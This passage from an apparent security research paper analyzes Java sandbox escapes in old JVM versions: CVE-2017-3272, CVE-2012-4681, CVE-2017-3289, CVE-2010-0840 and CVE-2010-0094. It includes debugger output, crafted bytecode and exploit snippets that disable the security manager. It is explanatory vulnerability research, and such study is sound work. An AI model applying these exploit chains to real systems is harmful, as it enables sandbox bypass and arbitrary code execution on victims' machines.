  7:        dst[i] = 0xAAAAAAAA; 

  8:      } 

  9: 

 10:      int bytes = 400; 

 11:      ByteBuffer bb = ByteBuffer.allocateDirect(bytes); 

 12:      IntBuffer ib = bb.asIntBuffer(); 

 13: 

 14:      for (int i = 0; i < ib.limit(); i++) { 

 15:        ib.put(i, 0xBBBBBBBB); 

 16:      } 

 17: 

 18:      int offset = 1073741764; // offset << 2 = -240 

 19:      int length = 2; 

 20: 

 21:      ib.get(dst, offset, length); // breakpoint here 

 22:    } 

 23: 

 24:  } 

--------------------------------------------------------------------------- 

 

This code creates an array of size 1209098507 (line 4) and then initializes 



all the elements of this array to 0xAAAAAAAA (lines 6-8). It then creates 

an instance ib of type IntBuffer and initializes all elements of its 

internal array (integers) to 0xBBBBBBBB (lines 10-16). Finally, it calls 

the get() method to copy 2 elements from ib's internal array to dst with a 

negative offset of -240 (lines 18-21). Executing this code does not crash 

the VM. Moreover, we notice that after calling get, no element of the dst 

array have been modified. This means that 2 elements from ib's internal 

array have been copied outside dst. Let's check this by setting a 

breakpoint at line 21 and then launching gdb on the process running the 

JVM. In the Java code we have used sun.misc.Unsafe to calculate the address 

of dst which is 0x20000000. 

 

--------------------------------------------------------------------------- 

$ gdb -p 1234 

[...] 

(gdb) x/10x 0x200000000 

0x200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b 

0x200000010: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 

0x200000020: 0xaaaaaaaa 0xaaaaaaaa 

(gdb) x/10x 0x200000000-240 

0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 

0x1ffffff20: 0x00000000 0x00000000 0x00000000 0x00000000 

0x1ffffff30: 0x00000000 0x00000000 

--------------------------------------------------------------------------- 

 

With gdb we notice that elements of the dst array have been initialized to 

0xAAAAAAAA as expected. The array doest not start by 0xAAAAAAAA directly 

but has a 16 byte header which contains among other the size of the array 

(0x4811610b = 1209098507). For now, there is nothing (only null bytes) 240 

bytes before the array. Let's execute the get Java method and check again 

the memory state with gdb: 

 

--------------------------------------------------------------------------- 

(gdb) c 

Continuing. 

^C 

Thread 1 "java" received signal SIGINT, Interrupt. 

0x00007fb208ac86cd in pthread_join (threadid=140402604672768, 

  thread_return=0x7ffec40d4860) at pthread_join.c:90 

90 in pthread_join.c 

(gdb) x/10x 0x200000000-240 

0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 

0x1ffffff20: 0xbbbbbbbb 0xbbbbbbbb 0x00000000 0x00000000 

0x1ffffff30: 0x00000000 0x00000000 

--------------------------------------------------------------------------- 

 

The copy of two elements from ib's internal array to dst "worked": they 

have been copied 240 bytes before the first element of dst. For some reason 

the program did not crash. Looking at the memory map of the process 

indicates that there's a memory zone just before 0x20000000 which is rwx: 

 

--------------------------------------------------------------------------- 

$ pmap 1234 

[...] 

00000001fc2c0000  62720K rwx--   [ anon ] 



0000000200000000 5062656K rwx--   [ anon ] 

0000000335000000 11714560K rwx--   [ anon ] 

[...] 

--------------------------------------------------------------------------- 

 

As explained below, in Java, a type confusion is synonym of total bypass of 

the sandbox. The idea for vulnerability CVE-2017-3272 is to use the read 

and write primitives to perform the type confusion. We aim at having the 

following structure in memory: 

 

--------------------------------------------------------------------------- 

  B[] |0|1|............|k|......|l| 

  A[] |0|1|2|....|i|................|m| 

int[] |0|..................|j|....|n| 

--------------------------------------------------------------------------- 

 

An array of elements of type _B_ just before an array of elements of type 

_A_ just before the internal array of an _IntBuffer_ object. The first step 

consists in using the read primitive to copy the address of elements of 

type _A_ (at index i) inside the internal integer array (at index j). The 

second steps consists in copying the reference from the internal array (at 

index j) to an element of type _B_ (at index k). Once the two steps are 

done, the JVM will think element at index k is of type _B_, but it is 

actually an element of type _A_. 

 

The code handling the heap is complex and can change from VM to VM 

(Hotspot, JRockit, etc.) but also from version to version. We have obtained 

a stable situation where all the three arrays are next to each other for 50 

different versions of the JVM with the following array sizes: 

 

--------------------------------------------------------------------------- 

l = 429496729 

m = l 

n = 858993458 

--------------------------------------------------------------------------- 

 

------[ 3.2.3 - Discussion 

 

We have tested the exploit on all publicly available versions of Java 1.6, 

1.7 and 1.8. All in all 51 versions are vulnerable: 18 versions of 1.6 

(1.6_23 to 1.6_45), 28 versions of 1.7 (1.7_0 to 1.7_80) and 5 versions of 

1.8 (1.8_05 to 1.8_60). 

 

We have already discussed the patch above: the patched code now first casts 

32 bit integers to long before doing the shift operation. This efficiently 

prevents integer overflows. 

 

--[ 4 - Java Level Vulnerabilities 

 

----[ 4.1 - Confused Deputy 

 

------[ 4.1.1 - Background 

 

Confused deputy attacks are a very common type of attack on the Java 

platform. Example attacks are the exploits for CVE-2012-5088, 



CVE-2012-5076, CVE-2013-2460, and also CVE-2012-4681 which we present in 

detail below. The basic idea is that exploit code aims for access to 

private methods or fields of system classes in order to, e.g., deactivate 

the security manager. Instead of accessing the desired class member 

directly, however, the exploit code will perform the access on behalf of a 

trusted system class. Typical ways to abuse a system class for that purpose 

is by exploiting insecure use of reflection or MethodHandles, i.e., a 

trusted system class performs reflective read access to a target field 

which can be determined by the analyst. 

 

------[ 4.1.2 - Example: CVE-2012-4681 

 

We will have a look at CVE-2012-4681, because this is often referred to by 

other authors as an example of a confused deputy attack. 

 

As a first step, we retrieve access to _sun.awt.SunToolkit_, a restricted 

class which should be inaccessible to untrusted code. 

 

--------------------------------------------------------------------------- 

  1: Expression expr0 = new Expression(Class.class, "forName", 

  2:  new Object[] {"sun.awt.SunToolkit"}); 

  3: Class sunToolkit = (Class)expr.execute().getValue(); 

--------------------------------------------------------------------------- 

 

This already exploits a vulnerability. Even though we specify 

Class.forName() as the target method of the Expression, this method is 

actually not called. Instead, _Expression_ implements custom logic 

specifically for this case, which loads classes without properly checking 

access permissions. Thus, _Expression_ serves as our confused deputy here 

that loads a class for us that we would otherwise not be allowed to load. 

 

As a next step, we use SunToolkit.getField() to get access to the private 

field Statement.acc. 

 

--------------------------------------------------------------------------- 

  1: Expression expr1 = new Expression(sunToolkit, "getField", 

  2:  new Object[] {Statement.class, "acc"}); 

  3: Field acc = expr1.execute().getValue(); 

--------------------------------------------------------------------------- 

 

getField() is another confused deputy, on whose behalf we get reflective 

access to a private field of a system class. The following snippet shows 

that getField() uses doPrivileged() to get the requested field, and also 

set it accessible, so that its value can be modified later. 

 

----------------------------| SunToolkit.java |---------------------------- 

  1: public static Field getField(final Class klass, 

  2:  final String fieldName) { 

  3:  return AccessController.doPrivileged( 

  4:  new PrivilgedAction<Field>() { 

  5:   public Field run() { 

  6:   ... 

  7:    Field field = klass.getDeclaredField(fieldName); 

  8:    ... 

  9:    field.setAccessible(true); 



 10:    return field; 

 11:   ... 

--------------------------------------------------------------------------- 

 

Next, we create an _AccessControlContext_ which is assigned all 

permissions. 

 

--------------------------------------------------------------------------- 

  1: Permissions permissions = new Permissions(); 

  2: permissions.add(new AllPermission()); 

  3: ProtectionDomain pd = new ProtectionDomain(new CodeSource( 

  4:  new URL("file:///"), new Certificate[0]), permissions); 

  5: AccessControlContext newAcc = 

  6:  AccessControlContext(new ProtectionDomain[] {pd}); 

--------------------------------------------------------------------------- 

 

_Statement_ objects can represent arbitrary method calls. When an instance 

of _Statement_ is created, it stores the current security context in 

Statement.acc. When calling Statement.execute(), it will execute the call 

it represents within the security context that has originally been stored 

in Statement.acc to ensure that it calls the method with the same 

privileges as if it were called directly. 

 

We next create a _Statement_ that represents the call 

System.setSecurityManager(null) and overwrite its _AccessControlContext_ 

stored in Statement.acc with our new _AccessControlContext_ that has all 

permissions. 

 

--------------------------------------------------------------------------- 

  1: Statement stmt = new Statement(System.class, "setSecurityManager", 

  2:  new Object[1]); 

  3: acc.set(stmt, newAcc) 

--------------------------------------------------------------------------- 

 

Finally, we call stmt.execute() to actually perform the call to 

setSecurityManager(). This call will succeed, because we have replaced the 

security context in stmt.acc with a security context that has been assigned 

all privileges. 

 

------[ 4.1.3 - Discussion 

 

The problem of confused deputy attacks naturally arises from the very core 

concepts of Java platform security. One crucial mechanism of the sandbox is 

stack-based access control, which inspects the call stack whenever 

sensitive operations are attempted, thus detecting direct access from 

untrusted code to sensitive class members, for example. In many cases, 

however, this stack inspection terminates before all callers on the current 

stack have been checked for appropriate permissions. There are two common 

cases when this happens. In the first case, one of the callers on the stack 

calls doPrivileged() to explicitly state that the desired action is deemed 

secure, even if called from unprivileged code. While doPrivileged() 

generally is a sensible mechanism, it can also be used incorrectly in 

situations where not all precautions have been taken to actually ensure 

that a specific operation is secure. In the second case, a method in a 

system class will manually check properties of the immediate caller only, 



and skip the JVM's access control mechanism that would inspect also the 

other callers on the stack. In both these cases can analysts profit from 

incomplete stack walks by performing certain sensitive actions simply on 

behalf of system classes. 

 

----[ 4.2 - Uninitialized Instance 

 

------[ 4.2.1 - Background 

 

A crucial step in Java object initialization is calling the constructor of 

the respective type. Constructors contain necessary code for variable 

initialization, but may also contain security checks. It is therefore 

important for the security and stability of the platform to enforce that 

constructors are actually called before object initialization completes and 

methods of the type are invoked by other code. 

 

Enforcing constructor calls is in the responsibility of the bytecode 

verifier, which checks all classes during loading to ensure their validity. 

This also includes, for instance, checking that jumps land on valid 

instructions and not in the middle of an instruction, and checking that the 

control flow ends with a return instruction. Furthermore, it also checks 

that instructions operate on valid types, which is required to prevent type 

confusion attacks, which we presented in Section 3.1.1. 

 

Historically, to check type validity, the JVM relied on a data flow 

analysis to compute a fix point. This analysis may require to perform 

multiple pass over the same paths. As this is time consuming, and may 

slower the class loading process, a new approach has been developed to 

perform the type checking in linear time where each path is only checked 

once. To achieve that, meta-information called stack map frames have been 

added along the bytecode. In brief, stack map frames describe the possible 

types at each branch targets. Stack map frames are stored in a structure 

called the stack map table [25]. 

 

There is an uninitialized instance vulnerability when the analyst is able 

to create an instance on which the call to <init>(*), the constructor of 

the object or the constructor of the super class, is not executed. This 

vulnerability directly violates the specification of the virtual machine 

[21]. The consequences on the security of the JVM is that with an 

uninitialized instance vulnerability an analyst can instantiate objects he 

should not be able to and have access to properties and methods he should 

not have access to. This could potentially lead to a sandbox escape. 

 

------[ 4.2.2 - Example: CVE-2017-3289 

 

The description of the CVE indicates that "Successful attacks of this 

vulnerability can result in takeover of Java SE, Java SE Embedded." [22]. 

As for CVE-2017-3272, this means it might be possible to exploit the 

vulnerability to escape the Java sandbox. 

 

Redhat's bugzilla indicates that "An insecure class construction flaw, 

related to the incorrect handling of exception stack frames, was found in 

the Hotspot component of OpenJDK. An untrusted Java application or applet 

could use this flaw to bypass Java sandbox restrictions." [23]. This 

informs the analyst that (1) the vulnerability lies in C/C++ code (Hotspot 



is the name of the Java VM) and that (2) the vulnerability is related to an 

illegal class construction and to exception stack frames. Information (2) 

indicates that the vulnerability is probably in the C/C++ code checking the 

validity of the bytecode. The page also links to the OpenJDK's patch for 

this vulnerability. 

 

The OpenJDK's patch "8167104: Additional class construction refinements" 

fixing the vulnerability is available online [24]. Five C++ files are 

patched: "classfile/verifier.cpp", the class responsible for verifying the 

structure and the validity of a class file, "classfile/stackMapTable.{cpp, 

hpp}", the files handling the stack map table, and 

"classfile/stackMapFrame.{cpp, hpp}", the files representing the stack map 

frames. 

 

By looking at the diff, one notices that function 

StackMapFrame::has_flag_match_exception() has been removed and a condition, 

which we will refer to as C1, has been updated by removing the call to 

has_flag_match_exception(). Also, methods match_stackmap() and 

is_assignable_to() have now one less parameter: "bool handler" has been 

removed. This parameter "handler" is set to "true" if the verifier is 

currently checking an exception handler. Condition C1 is illustrated in the 

following listing: 

 

--------------------------------------------------------------------------- 

     .... 

     -  bool match_flags = (_flags | target->flags()) == target->flags(); 

     -  if (match_flags || is_exception_handler && 

               has_flag_match_exception(target)) { 

     +  if ((_flags | target->flags()) == target->flags()) { 

          return true; 

        } 

     .... 

--------------------------------------------------------------------------- 

 

This condition is within function is_assignable_to() which checks if the 

current stack map frame is assignable to the target stack map frame, passed 

as a parameter to the function. Before the patch, the condition to return 

"true" was "match_flags || is_exception_handler && 

has_flag_match_exception(target)". In English, this means that flags for 

the current stack map frame and the target stack map frame are the same or 

that the current instruction is in an exception handler and that function 

"has_flag_match_exception" returns "true". Note that there is only one kind 

of flag called "UNINITIALIZED_THIS" (aka FLAG_THIS_UNINIT). If this flag is 

true, it indicates that the object referenced by "this" is uninitialized, 

i.e., its constructor has not yet been called. 

 

After the patch, the condition becomes "match_flags". This means that, in 

the vulnerable version, there is probably a way to construct bytecode for 

which "match_flags" is false (i.e., "this" has the uninitialized flag in 

the current frame but not in the target frame), but for which 

"is_exception_handler" is "true" (the current instruction is in an 

exception handler) and for which "has_flag_match_exception(target)" returns 

"true". But when does this function return "true"? 

 

Function has_flag_match_exception() is represented in the following 



listing. 

 

--------------------------------------------------------------------------- 

  1: .... 

  2: bool StackMapFrame::has_flag_match_exception( 

  3:     const StackMapFrame* target) const { 

  4: 

  5:   assert(max_locals() == target->max_locals() && 

  6:          stack_size() == target->stack_size(), 

  7:                "StackMap sizes must match"); 

  8: 

  9:   VerificationType top = VerificationType::top_type(); 

 10:   VerificationType this_type = verifier()->current_type(); 

 11: 

 12:   if (!flag_this_uninit() || target->flags() != 0) { 

 13:     return false; 

 14:   } 

 15: 

 16:   for (int i = 0; i < target->locals_size(); ++i) { 

 17:     if (locals()[i] == this_type && target->locals()[i] != top) { 

 18:       return false; 

 19:     } 

 20:   } 

 21: 

 22:   for (int i = 0; i < target->stack_size(); ++i) { 

 23:     if (stack()[i] == this_type && target->stack()[i] != top) { 

 24:       return false; 

 25:     } 

 26:   } 

 27: 

 28:   return true; 

 29: } 

 30: .... 

--------------------------------------------------------------------------- 

 

In order for this function to return "true" all the following conditions 

must pass: (1) the maximum number of local variables and the maximum size 

of the stack must be the same for the current frame and the target frame 

(lines 5-7); (2) the current frame must have the "UNINIT" flag set to 

"true" (line 12-14); and (3) uninitialized objects are not used in the 

target frame (lines 16-26). 

 

The following listing illustrates bytecode that satisfies the three 

conditions: 

 

--------------------------------------------------------------------------- 

  <init>() 

  0: new           // class java/lang/Throwable 

  1: dup 

  2: invokespecial // Method java/lang/Throwable."<init>":()V 

  3: athrow 

  4: new           // class java/lang/RuntimeException 

  5: dup 

  6: invokespecial // Method java/lang/RuntimeException."<init>":()V 

  7: athrow 



  8: return 

  Exception table: 

   from    to  target type 

      0    4    8   Class java/lang/Throwable 

      StackMapTable: number_of_entries = 2 

        frame at instruction 3 

          local = [UNINITIALIZED_THIS] 

          stack = [ class java/lang/Throwable ] 

        frame at instruction 8 

          locals = [TOP] 

          stack = [ class java/lang/Throwable ] 

--------------------------------------------------------------------------- 

 

The maximum number of locals and the maximum stack size can be set to 2 to 

satisfy the first condition. The current frame has "UNINITIALIZED_THIS" set 

to true at line 3 to satisfy the second condition. Finally, to satisfy the 

third condition, uninitialized locals are not used in the target of the 

"athrow" instruction (line 8) since the first element of the local is 

initialized to "TOP". 

 

Note that the code is within a try/catch block to have 

"is_exception_handler" set to "true" in function is_assignable_to(). 

Moreover, notice that the bytecode is within a constructor (<init>() in 

bytecode). This is mandatory in order to have flag "UNINITIALIZED_THIS" set 

to true. 

 

We now know that the analyst is able to craft bytecode that returns an 

uninitialized object of itself. At a first glance, it may be hard to see 

how such an object could be used by the analyst. However, a closer look 

reveals that such a manipulated class could be implemented as a subclass of 

a system class, which can be initialized without calling super.<init>(), 

the constructor of the super class. This can be used to instantiate public 

system classes that can otherwise not be instantiated by untrusted code, 

because their constructors are private, or contain permission checks. The 

next step is to find such classes which offer "interesting" functionalities 

to the analyst. The aim is to combine all the functionalities to be able to 

execute arbitrary code in a sandbox environment, hence bypassing the 

sandbox. Finding useful classes is, however, a complicated task by itself. 

Specifically, we are facing the following challenges. 

 

Challenge 1: Where to look for helper code 

 

The JRE ships with numerous jar files containing JCL (Java Class Library) 

classes. These classes are loaded as _trusted_ classes and may be leveraged 

when constructing an exploit. Unfortunately for the analyst, but 

fortunately for Java users, more and more of the classes are tagged as 

"restricted" meaning that _untrusted_ code cannot directly instantiate 

them. The number of restricted packages went from one in 1.6.0_01 to 47 in 

1.8.0_121. This means that the percentage of code that the analyst cannot 

directly use when building an exploit went from 20% in 1.6.0_01 to 54% in 

1.8.0_121. 

 

Challenge 2: Fields may not be initialized 

 

Without the proper permission it is normally not possible to instantiate a 



new class loader. The permission of the _ClassLoader_ class being checked 

in the constructor it seems, at first sight, to be an interesting target. 

With the vulnerability of CVE-2017-3289 it is indeed possible to 

instantiate a new class loader without the permission since the constructor 

code -- and thus the permission check -- will not be executed. However, 

since the constructor is bypassed, fields are initialized with default 

values (e.g, zero for integers, null for references). This is problematic 

since the interesting methods which normally allows to define a new class 

with all privileges will fail because the code will try to dereference a 

field which has not been properly initialized. After manual inspection it 

seems difficult to bypass the field dereference since all paths are going 

through the instruction dereferencing the non-initialized field. Leveraging 

the _ClassLoader_ seems to be a dead end. Non-initialized fields is a major 

challenge when using the vulnerability of CVE-2017-3289: in addition to the 

requirements for a target class to be public, non-final and non-restricted, 

its methods of interest should also not execute a method dereferencing 

uninitialized fields. 

 

We have not yet found useful helper code for Java version 1.8.0 update 112. 

To illustrate how the vulnerability of CVE-2017-3289 works we will show 

alternative helper code for exploits leveraging 0422 and 0431. Both 

exploits rely on _MBeanInstantiator_, a class that defines method 

findClass() which can load arbitrary classes. Class _MBeanInstantiator_ has 

only private constructors, so direct instantiation is not possible. 

Originally, these exploits use _JmxMBeanServer_ to create an instance of 

_MBeanInstantiator_. We will show that an analyst can directly subclass 

_MBeanInstantiator_ and use vulnerability 3289 to get an instance of it. 

 

The original helper code to instantiate _MBeanInstantiator_ relies on 

_JmxMBeanServer_ as shown below: 

 

--------------------------------------------------------------------------- 

  1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder(); 

  2: JmxMBeanServer server = 

  3:      (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null); 

  4: MBeanInstantiator instantiator = server.getMBeanInstantiator(); 

--------------------------------------------------------------------------- 

 

The alternative code to instantiate _MBeanInstantiator_ leverages the 

vulnerability of CVE-2017-3289: 

 

--------------------------------------------------------------------------- 

  1: public class PoCMBeanInstantiator extends java.lang.Object { 

  2:   public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) { 

  3:     throw new RuntimeException(); 

  4:   } 

  5: 

  6:   public static Object get() { 

  7:     return new PoCMBeanInstantiator(null); 

  8:   } 

  9: } 

--------------------------------------------------------------------------- 

 

Note that since _MBeanInstantiator_ does not have any public constructor, 

_PoCMBeanInstantiator_ has to extend a dummy class, in our example 



_java.lang.Object_, in the source code. We use the ASM [28] bytecode 

manipulation library, to change the super class of _PoCMBeanInstantiator_ 

to _MBeanInstantiator_. We also use ASM to change the bytecode of the 

constructor to bypass the call to super.<init>(*). 

 

Since Java 1.7.0 update 13, Oracle has added _com.sun.jmx._ as a restricted 

package. Class _MBeanInstantiator_ being in this package, it is thus not 

possible to reuse this helper code in later versions of Java. 

 

To our surprise, this vulnerability affects more than 40 different public 

releases. All Java 7 releases from update 0 to update 80 are affected. All 

Java 8 releases from update 5 to update 112 are also affected. Java 6 is 

not affected. 

 

By looking at the difference between the source code of the bytecode 

verifier of Java 6 update 43 and Java 7 update 0, we notice that the main 

part of the diff corresponds to the inverse of the patch presented above. 

This means that the condition under which a stack frame is assignable to a 

target stack frame within an exception handler in a constructor has been 

weakened. Comments in the diff indicate that this new code has been added 

via request 7020118 [26]. This request asked to update the code of the 

bytecode verifier in such a way that NetBeans' profiler can generate 

handlers to cover the entire code of a constructor. 

 

The vulnerability has been fixed by tightening the constraint under which 

the current stack frame -- in a constructor within a try/catch block -- can 

be assigned to the target stack frame. This effectively prevents bytecode 

from returning an uninitialized ``this'' object from the constructor. 

 

As far as we know, there are at least three publicly known _uninitialized 

instance_ vulnerabilities for Java. One is CVE-2017-3289 described in this 

paper. The second has been discovered in 2002 [29]. The authors also 

exploited a vulnerability in the bytecode verifier which enables to not 

call the constructor of the super class. They have not been able to develop 

an exploit to completely escape the sandbox. They were able, however, to 

access the network and read and write files to the disk. The third has been 

found by a research group at Princeton in 1996 [30]. Again, the problem is 

within the bytecode verifier. It allows for a constructor to catch 

exceptions thrown by a call to super() and return a partially initialized 

object. Note that at the time of this attack the class loader class did not 

have any instance variable. Thus, leveraging the vulnerability to 

instantiate a class loader gave a fully initialized class loader on which 

any method could be called. 

 

------[ 4.2.3 - Discussion 

 

The root cause of this vulnerability is a modification of the C/C++ 

bytecode validation code which enables an analyst to craft Java bytecode 

which is able not to bypass the call to super() in a constructor of a 

subclass. This vulnerability directly violates the specification of the 

virtual machine [21]. 

 

However, this vulnerability is useless without appropriate _helper_ code. 

Oracle has developed static analysis tools to find dangerous gadgets and 

blacklist them [31]. This makes it harder for an analyst to develop an 



exploit bypassing the sandbox. Indeed, we have only found interesting 

gadgets that work with older versions of the JVM. Since they have been 

blacklisted in the latest versions, the attack does not work anymore. 

However, even though the approach relies on static analysis, it (1) may 

generate many false positives which makes it harder to identify real 

dangerous gadgets and (2) might have false negatives because it does not 

faithfuly model all specificities of the language, typically reflection and 

JNI, and thus is not sound. 

 

----[ 4.3 - Trusted Method Chain 

 

------[ 4.3.1 - Background 

 

Whenever a security check is performed in Java, the whole call stack is 

checked. Each frame of the call stack contains a method name identified by 

its class and method signature. The idea of a trusted method chain attack 

is to only have trusted classes on the call stack. To achieve this, an 

analyst typically relies on reflection features present in trusted classes 

to call target methods. That way, no application class (untrusted) will be 

on the call stack when the security check is done and the target methods 

will execute in a privileged context (typically to disable the security 

manager). In order for this approach to work the chain of methods has to be 

on a privileged thread such as the event thread. It will not work on the 

main thread because the class with the main method is considered untrusted 

and the security check will thus throw an exception. 

 

------[ 4.3.2 - Example: CVE-2010-0840 

 

This vulnerability is the first example of a trusted method chain attack 

against the Java platform [32]. It relies on the _java.beans.Statement_ 

class to execute target methods via reflection. The exploit injects a 

_JList_ GUI element ("A component that displays a list of objects and 

allows the user to select one or more items." [33]) to force the GUI thread 

to draw the new element. The exploit code is as follows: 

 

--------------------------------------------------------------------------- 

     // target method 

     Object target = System.class; 

     String methodName = "setSecurityManager"; 

     Object[] args = new Object[] { null }; 

 

     Link l = new Link(target, methodName, args); 

 

     final HashSet s = new HashSet(); 

     s.add(l); 

 

     Map h = new HashMap() { 

      public Set entrySet() { 

       return s; 

      }; }; 

 

     sList = new JList(new Object[] { h }); 

--------------------------------------------------------------------------- 

 

The target method is represented as a _Statement_ through the _Link_ 



object. The _Link_ class is not a class from the JCL but a class 

constructed by the analyst. The _Link_ class is a subclass of _Expression_ 

which is a subclass of _Statement_. The _Link_ object also implements, 

although in a fake way, the getValue() method of the _java.util.Map.Entry_ 

interface. It is not a real implementation of the _Entry_ interface because 

only the getValue() method is present. This "implementation" cannot be done 

with a normal javac compiler and has to be done by directly modifying the 

bytecode of the _Link_ class. 

 

--------------------------------------------------------------------------- 

     interface Entry<K,V> { 

      [...] 

      /** 

      * Returns the value corresponding to this entry.  If the mapping 

      * has been removed from the backing map (by the iterator's 

      * <tt>remove</tt> operation), the results of this call are 

      * undefined. 

      * 

      * @return the value corresponding to this entry 

      * @throws IllegalStateException implementations may, but are not 

      *         required to, throw this exception if the entry has been 

      *         removed from the backing map. 

      */ 

      V getValue(); 

      [...] 

--------------------------------------------------------------------------- 

 

This interface has the getValue() method. It turns out that the 

_Expression_ class also has a getValue() method with the same signature. 

That is why at runtime calling Entry.getValue() on an object of type 

_Link_, faking the implementation of _Entry_, can succeed. 

 

--------------------------------------------------------------------------- 

     // in AbstractMap 

     public String toString() { 

      Iterator<Entry<K,V>> i = entrySet().iterator(); 

      if (! i.hasNext()) 

       return "{}"; 

 

      StringBuilder sb = new StringBuilder(); 

      sb.append('{'); 

      for (;;) { 

       Entry<K,V> e = i.next(); 

       K key = e.getKey(); 

       V value = e.getValue(); 

       sb.append(key   == this ? "(this Map)" : key); 

       sb.append('='); 

       sb.append(value == this ? "(this Map)" : value); 

       if (! i.hasNext()) 

        return sb.append('}').toString(); 

       sb.append(',').append(' '); 

      } 

     } 

--------------------------------------------------------------------------- 

 



The analyst aims at calling the AbstractMap.toString() method to call 

Entry.getValue() on the _Link_ object which calls the invoke() method: 

 

--------------------------------------------------------------------------- 

     public Object getValue() throws Exception { 

      if (value == unbound) { 

       setValue(invoke()); 

      } 

      return value; 

     } 

--------------------------------------------------------------------------- 

 

The invoke method executes the analyst's target method 

System.setSecurityManapger(null) via reflection to disable the security 

manager. The call stack when this method is invoked through reflection 

looks like this: 

 

--------------------------------------------------------------------------- 

     at java.beans.Statement.invoke(Statement.java:235) 

     at java.beans.Expression.getValue(Expression.java:98) 

     at java.util.AbstractMap.toString(AbstractMap.java:487) 

     at javax.swing.DefaultListCellRenderer.getListCellRendererComponent 

      (DefaultListCellRenderer.java:125) 

     at javax.swing.plaf.basic.BasicListUI.updateLayoutState 

      (BasicListUI.java:1337) 

     at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState 

      (BasicListUI.java:1287) 

     at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251) 

     at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227) 

     at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143) 

     at javax.swing.JComponent.paintComponent(JComponent.java:758) 

     at javax.swing.JComponent.paint(JComponent.java:1022) 

     at javax.swing.JComponent.paintChildren(JComponent.java:859) 

     at javax.swing.JComponent.paint(JComponent.java:1031) 

     at javax.swing.JComponent.paintChildren(JComponent.java:859) 

     at javax.swing.JComponent.paint(JComponent.java:1031) 

     at javax.swing.JLayeredPane.paint(JLayeredPane.java:564) 

     at javax.swing.JComponent.paintChildren(JComponent.java:859) 

     at javax.swing.JComponent.paint(JComponent.java:1031) 

     at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104) 

     at javax.swing.BufferStrategyPaintManager.paint 

      (BufferStrategyPaintManager.java:285) 

     at javax.swing.RepaintManager.paint(RepaintManager.java:1128) 

     at javax.swing.JComponent._paintImmediately(JComponent.java:5052) 

     at javax.swing.JComponent.paintImmediately(JComponent.java:4862) 

     at javax.swing.RepaintManager.paintDirtyRegions 

      (RepaintManager.java:723) 

     at javax.swing.RepaintManager.paintDirtyRegions 

      (RepaintManager.java:679) 

     at javax.swing.RepaintManager.seqPaintDirtyRegions 

      (RepaintManager.java:659) 

     at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run 

      (SystemEventQueueUtilities.java:128) 

     at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209) 

     at java.awt.EventQueue.dispatchEvent(EventQueue.java:597) 



     at java.awt.EventDispatchThread.pumpOneEventForFilters 

      (EventDispatchThread.java:273) 

     at java.awt.EventDispatchThread.pumpEventsForFilter 

      (EventDispatchThread.java:183) 

     at java.awt.EventDispatchThread.pumpEventsForHierarchy 

      (EventDispatchThread.java:173) 

     at java.awt.EventDispatchThread.pumpEvents 

      (EventDispatchThread.java:168) 

     at java.awt.EventDispatchThread.pumpEvents 

      (EventDispatchThread.java:160) 

     at java.awt.EventDispatchThread.run(EventDispatchThread.java:121) 

--------------------------------------------------------------------------- 

 

The first observation is that there are no untrusted class on the call 

stack. Any security check performed on the elements of the call stack will 

pass. 

 

As seen on the call stack above, the paint operation 

(RepaintManager.java:1128) ends up calling the 

getListCellRendererComponent() method (DefaultListCellRenderer.java:125). 

The _JList_ constructor takes as a parameter a list of the item elements. 

This method in turn calls the toString() method on the items. The first 

element being a _Map_ calls getValue() on all its items. The method 

getValue() calls Statement.invoke() which calls the analyst's target method 

via reflection. 

 

------[ 4.3.3 - Discussion 

 

This vulnerability has been patched by modifying the Statement.invoke() 

method to perform the reflective call in the _AccessControlContext_ of the 

code which created the _Statement_. This exploit does not work on recent 

version of the JRE because the untrusted code which creates the _Statement_ 

does not have any permission. 

 

----[ 4.4 - Serialization 

 

------[ 4.4.1 - Background 

 

Java allows for transforming objects at runtime to byte streams, which is 

useful for persistence and network communications. Converting an object 

into a sequence of bytes is called serialiation, and the reverse process of 

converting a byte stream to an object is called deserialization, 

accordingly. It may happen that part of the deserialization process in done 

in a privileged context. An analyst can leverage this by instantiating 

objects that he would normally not be allowed to instantiate due to lacking 

permissions. A typical example is the class _java.lang.ClassLoader_. An 

analyst (always in the context of having no permission) cannot directly 

instantiate a subclass _S_ of _ClassLoader_ because the constructor of 

_ClassLoader_ checks whether the caller has permission CREATE_CLASSLOADER. 

However, if he finds a way to deserialize a serialized version of _S_ in a 

privileged context, he may end up having an instance of _S_. Note that the 

serialized version of _S_ can be created by the analyst outside the scope 

of an attack (e.g., on his own machine with a JVM with no sandbox). During 

the attack, the serialized version is just data representing an instance of 

_S_. In this section we show how to exploit CVE-2010-0094 to make use of 



system code that deserializes data provided by the analyst in a privileged 

context. This can be used to execute arbitrary code and thus bypass all 

sandbox restrictions. 

 

------[ 4.4.2 - Example: CVE-2010-0094 

 

The vulnerability CVE-2010-0094 [35] lies in method 

RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, 

MarshalledObject, String[], Subject). The fourth argument of type 

_MarshalledObject_ contains a byte representation of an object _S_ which is 

deserialized in a privileged context (within a call to doPrivileged() with 

all permissions). The analyst can pass an arbitrary object to createMBean() 

for deserialization. In our case, he passes a subclass of 

_java.lang.ClassLoader_: 

 

--------------------------------------------------------------------------- 

     public class S extends ClassLoader implements Serializable { 

     } 

--------------------------------------------------------------------------- 

 

In a vulnerable version of the JVM (1.6.0_17 for instance), the call stack 

when object _S_ is instantiated is the following: 

 

--------------------------------------------------------------------------- 

  1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 

  2:  S(ClassLoader).<init>() line: 226 [local variables 

       unavailable] 

  4:  GeneratedSerializationConstructorAccessor1.newInstance(Object[]) 

       line: not available 

